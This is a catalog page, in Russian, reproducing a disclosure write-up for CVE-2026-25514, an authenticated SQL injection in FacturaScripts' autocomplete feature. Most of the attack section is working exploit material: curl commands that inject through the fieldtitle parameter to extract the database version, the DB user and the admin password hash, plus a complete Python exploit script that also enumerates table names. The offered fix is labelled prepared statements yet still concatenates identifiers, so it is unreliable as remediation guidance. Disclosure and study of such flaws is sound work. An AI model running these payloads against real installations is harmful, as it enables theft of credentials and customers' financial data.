Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-25514 — CVE-2026-25514 - FacturaScripts has SQL Injection in Autocomplete Actions | Kitploit
Инструменты/GitHubGitHub/lukasz-rybak/cve-2026-25514
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHublukasz-rybak/cve-2026-25514

CVE-2026-25514

CVE-2026-25514 - FacturaScripts has SQL Injection in Autocomplete Actions

Репозиторий
4 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-25514: SQL-инъекция в FacturaScripts в действиях автозаполнения

Обзор

ПолеДетали
CVE IDCVE-2026-25514
СерьёзностьВЫСОКАЯ
УведомлениеПосмотреть уведомление
ОбнаружилLukasz Rybak

Затронутые продукты

  • facturascripts/facturascripts (версии: < 2025.81)

Классификация CWE

  • CWE-20: Некорректная проверка ввода
  • CWE-89: Некорректная нейтрализация специальных элементов, используемых в SQL-команде ('SQL-инъекция')
  • CWE-943: Некорректная нейтрализация специальных элементов в логике запроса данных

Подробности

Краткое описание

FacturaScripts содержит критическую уязвимость SQL-инъекции в функционале автозаполнения, которая позволяет аутентифицированным злоумышленникам извлекать из базы данных конфиденциальную информацию, включая учётные данные пользователей, параметры конфигурации и все сохранённые бизнес-данные. Уязвимость существует в методе CodeModel::all(), где предоставляемые пользователем параметры напрямую конкатенируются в SQL-запросы без санации или параметризованных привязок.


Подробности

Несколько контроллеров FacturaScripts, включая CopyModel, ListController и PanelController, реализуют действие автозаполнения, которое обрабатывает пользовательский ввод через методы CodeModel::search() или CodeModel::all(). Эти методы формируют SQL-запросы, напрямую конкатенируя контролируемые пользователем параметры без какой-либо проверки или экранирования.

Уязвимое место в коде

Файл: /Core/Model/CodeModel.php Метод: all() Строки: 108-109

root@kitploit:~
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ......

    // УЯЗВИМЫЙ КОД:
    $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
        . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

Уязвимые параметры

Следующие параметры подвержены SQL-инъекции:

  1. source → Соответствует $tableName — инъекция имени таблицы
  2. fieldcode → Соответствует $fieldCode — инъекция имени столбца
  3. fieldtitle → Соответствует $fieldDescription — инъекция имени столбца (основной вектор атаки)

Схема атаки

  1. Злоумышленник аутентифицируется с действительными учётными данными (любая роль пользователя)
  2. Злоумышленник отправляет POST-запрос на /CopyModel с action=autocomplete
  3. Вредоносные SQL-функции/запросы внедряются через параметр fieldtitle
  4. Приложение выполняет внедрённый SQL и возвращает результат в формате JSON
  5. Злоумышленник извлекает конфиденциальные данные из базы данных

Доказательство концепции (PoC)

Предварительные требования

  • Действительные учётные данные для аутентификации (admin/admin в тестовом экземпляре)
  • Доступ к веб-интерфейсу FacturaScripts

Пошаговая ручная эксплуатация (CLI)

Поскольку FacturaScripts использует MultiRequestProtection, для каждого POST-запроса требуется действительный multireqtoken.

1. Получение начального токена и cookie сессии: FacturaScripts перенаправляет / на /login, поэтому используем -L для следования перенаправлениям и -c для сохранения cookie сессии.

root@kitploit:~
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN

2. Аутентификация (Вход): Используем сохранённый cookie и токен для входа.

root@kitploit:~
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" \
  -d "fsPassword=admin" \
  -d "action=login" \
  -d "multireqtoken=$TOKEN"

3. Извлечение версии базы данных: Получаем новый токен для следующего запроса и выполняем инъекцию.

root@kitploit:~
# Получить новый токен
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Выполнить SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=version()" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

4. Извлечение пользователя базы данных и имени БД:

root@kitploit:~
# Получить новый токен
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Выполнить SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=concat(user(),' @ ',database())" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

5. Извлечение хеша пароля администратора:

root@kitploit:~
# Получить новый токен
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Выполнить SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=password" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

Сценарий автоматизированной эксплуатации

root@kitploit:~
#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""

import requests
import re
import json

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"

session = requests.Session()

def get_csrf_token(url):
    """Extract CSRF token from page"""
    response = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
    return match.group(1) if match else None

def login():
    """Authenticate to FacturaScripts"""
    print(f"[*] Logging in as {USERNAME}...")
    token = get_csrf_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get CSRF token")
        exit()

    data = {
        "multireqtoken": token,
        "action": "login",
        "fsNick": USERNAME,
        "fsPassword": PASSWORD
    }
    response = session.post(f"{BASE_URL}/login", data=data)

    if "Dashboard" not in response.text:
        print("[!] Login failed!")
        exit()
    print("[+] Successfully logged in.")

def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
    """Execute SQL injection through autocomplete"""
    data = {
        "action": "autocomplete",
        "source": source,
        "fieldcode": field_code,
        "fieldtitle": field_payload,
        "term": term
    }
    response = session.post(f"{BASE_URL}/CopyModel", data=data)
    try:
        return response.json()
    except:
        return None

def main():
    login()

    print("\n" + "="*60)
    print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
    print("="*60 + "\n")

    # 1. Database version
    print("[*] Extracting database version...")
    res = exploit_sqli("version()")
    if res:
        print(f"[+] Database Version: {res[0]['value']}")

    # 2. Current user and database
    print("[*] Extracting DB user and database name...")
    res = exploit_sqli("concat(user(),' @ ',database())")
    if res:
        print(f"[+] DB User @ Database: {res[0]['value']}")

    # 3. Admin password hash
    print("[*] Extracting admin password hash...")
    res = exploit_sqli("password", term="admin")
    if res:
        print(f"[+] Admin Password Hash: {res[0]['value']}")

    # 4. All table names
    print("[*] Extracting table names...")
    res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
    if res:
        print(f"[+] Tables: {res[0]['value']}")

    print("\n[+] Exploitation complete!")

if __name__ == "__main__":
    main()
изображение

Воздействие

Эта уязвимость SQL-инъекции имеет КРИТИЧЕСКОЕ воздействие:

Конфиденциальность данных

  • Полное раскрытие базы данных — злоумышленник может извлечь все данные, включая:
    • Учётные данные пользователей (хеши паролей)
    • Информацию о клиентах (имена, адреса, налоговые идентификаторы и т.д.)
    • Финансовые записи (счета, платежи, банковские реквизиты)
    • Бизнес-логику и конфигурационные данные
    • Настройки плагинов и системы

Кто подвержен риску?

  • Все установки FacturaScripts с уязвимыми версиями
  • Все аутентифицированные пользователи могут использовать уязвимость (не только администраторы)
  • Компании, использующие FacturaScripts для бухгалтерии / выставления счетов
  • Клиенты, чьи данные хранятся в системе

Рекомендуемое исправление

Немедленное устранение

Вариант 1: Использовать подготовленные выражения

root@kitploit:~
// File: Core/Model/CodeModel.php
// Method: all()

public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ... validation code ...

    // Validate and escape identifiers
    $safeTableName = self::db()->escapeColumn($tableName);
    $safeFieldCode = self::db()->escapeColumn($fieldCode);
    $safeFieldDescription = self::db()->escapeColumn($fieldDescription);

    // Use parameterized query
    $sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
        . 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';

    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

Благодарности

Обнаружил: Łukasz Rybak

Ссылки

  • https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952
  • https://github.com/NeoRazorX/facturascripts/commit/5c070f82665b98efd2f914a4769c6dc9415f5b0f
  • https://nvd.nist.gov/vuln/detail/CVE-2026-25514
  • https://github.com/advisories/GHSA-pqqg-5f4f-8952

Отказ от ответственности

Данный CVE был ответственно раскрыт в соответствии с практиками скоординированного раскрытия уязвимостей. Предоставленная здесь информация предназначена только для образовательных целей и целей защиты.

Скачать инструмент